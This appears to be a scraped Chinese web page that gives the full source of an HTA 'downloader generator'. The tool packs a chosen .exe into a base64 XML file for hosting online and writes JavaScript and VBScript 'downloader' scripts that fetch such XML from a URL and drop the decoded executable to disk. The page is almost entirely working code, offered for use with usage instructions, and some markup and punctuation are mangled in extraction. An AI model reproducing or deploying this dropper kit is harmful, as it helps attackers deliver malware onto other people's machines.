1、 XMLDOM 下载者生成器代码 (xmldown.hta)以下代码保存成 hta 文件，可生成 js 和 vbs 下载者 代码如下:HTA:APPLICATION ID=“xmldown“ Caption=“yes“ SCROLL=“auto“ border=“none“ borderStyle=“static“ SINGLEINSTANCE=“yes“ maximizebutton=“no“ BORDER=“no“ icon=“dxdiag.exe“ script language=vbs Sub Window_onLoad window.resizeTo screen.width/1.6
2、,screen.height/3 window.moveTo 200,200 End Sub Sub CreateXml(path,File) Set objStream = CreateObject(“ADODB.Stream“) objStream.Type = 1 objStream.Open() objStream.LoadFromFile(Path) objStream.position = 0 Set XmlDoc = CreateObject(“Microsoft.XMLDOM“) XmlDoc.async = False Set Root = XmlDoc.createProc
3、essingInstruction(“xml“, “version=1.0 encoding=UTF-8“) XmlDoc.appendChild(Root) XmlDoc.appendChild(XmlDoc.CreateElement(“root“) Set Xfile = XmlDoc.SelectSingleNode(“/root“).AppendChild(XmlDoc.CreateElement(“file“) Set Xstream = Xfile.AppendChild(XmlDoc.CreateElement(“stream“) Xstream.SetAttribute “x
4、mlns:dt“, “urn:schemas-microsoft-com:datatypes“ Xstream.dataType = “bin.base64“ Xstream.nodeTypedValue = objStream.Read() XmlDoc.Save(File) Set XmlDoc = Nothing Set Root = Nothing Set objStream=Nothing End Sub Function x(obj) Set x=document.getElementById(obj) End function Function Findfile(str) Set
5、 FSO = CreateObject(“Scripting.FileSystemObject“) If FSO.FileExists(str) Then findfile=true Else findfile=false End If End Function Function jsdown() Set FSO = CreateObject(“Scripting.FileSystemObject“) with fso.opentextfile(CreateObject(“WScript.Shell“).CurrentDirectory“jsdown.js“,2,true) .write x(
6、“jsdown“).value end with end function Function vbsdown() Set FSO = CreateObject(“Scripting.FileSystemObject“) with fso.opentextfile(CreateObject(“WScript.Shell“).CurrentDirectory“vbsdown.vbs“,2,true) .write x(“vbsdown“).value end with end function /script body h41.生成下载用的 xml 文件/h4 选择下载的 exe 文件：input
7、 type=file name=“file1“ id=“file1“ size=“20“ 保存路径 input type=text name=“path“ id=“pathname“ value=“c:down.xml“ size=“20“ input type=“button“ value=“生成 xml 文件“ onclick=vbs:CreateXml x(“file1“).value,x(“pathname“).value:If Findfile(x(“pathname“).value) = true Then msgbox(“生成成功，请传到某个空间“):x(“url“).inner
8、HTML=“font color=red 生成成功，请传到某个空间/font“ br h42.生成下载者 /h4 button onclick=vbs:jsdown():If Findfile(“jsdown.js“) = true Then msgbox “生成成功“:x(“url“).innerHTML=“用法是 cscript jsdown.js xmlurl savepath“ 生成 js 下载者/buttonbutton onclick=vbs:vbsdown():If Findfile(“vbsdown.vbs“) = true Then msgbox “生成成功“:x(“url“
9、).innerHTML=“font color=blue 用法是 cscript vbsdown.js xmlurl savepath/font“生成 vbs 下载者/buttonbrbrbrbr div id=“url“/div textarea style=“visibility:hidden“ name=jswodn id=jsdown rows=“1“ cols=“1“ var objArgs = WScript.Arguments; var objXmlFile =new ActiveXObject(“Microsoft.XMLDOM“); objXmlFile.async=fals
10、e; objXmlFile.load(objArgs(0).toLowerCase(); do WScript.sleep(100); while (!objXmlFile.readyState = 4) if (objXmlFile.readyState = 4) var objStream = new ActiveXObject(“ADODB.Stream“) var objNodeList =objXmlFile.getElementsByTagName(“stream“)0.nodeTypedValue with(objStream) objStream.Type = 1; objSt
11、ream.Open(); objStream.Write(objNodeList); objStream.SaveToFile(objArgs(1).toLowerCase(),2); objStream.close(); delete objXmlFile; delete objStream; /textarea textarea style=“visibility:hidden“ name=vbswodn id=vbsdown rows=“1“ cols=“1“ Set objXmlFile = CreateObject(“Microsoft.XMLDOM“) objXmlFile.asy
12、nc=false objXmlFile.load(Wscript.arguments(0) Do While objXmlFile.readyState4 wscript.sleep 100 Loop If objXmlFile.readyState = 4 Then Set objNodeList = objXmlFile.documentElement.selectNodes(“/file/stream“) Set objStream = CreateObject(“ADODB.Stream“) With objStream .Type = 1 .Open .Write objNodeList(0).nodeTypedvalue .SaveToFile Wscript.arguments(1), 2 .Close End With Set objStream = Nothing End If Set objXmlFile = Nothing /textarea /body
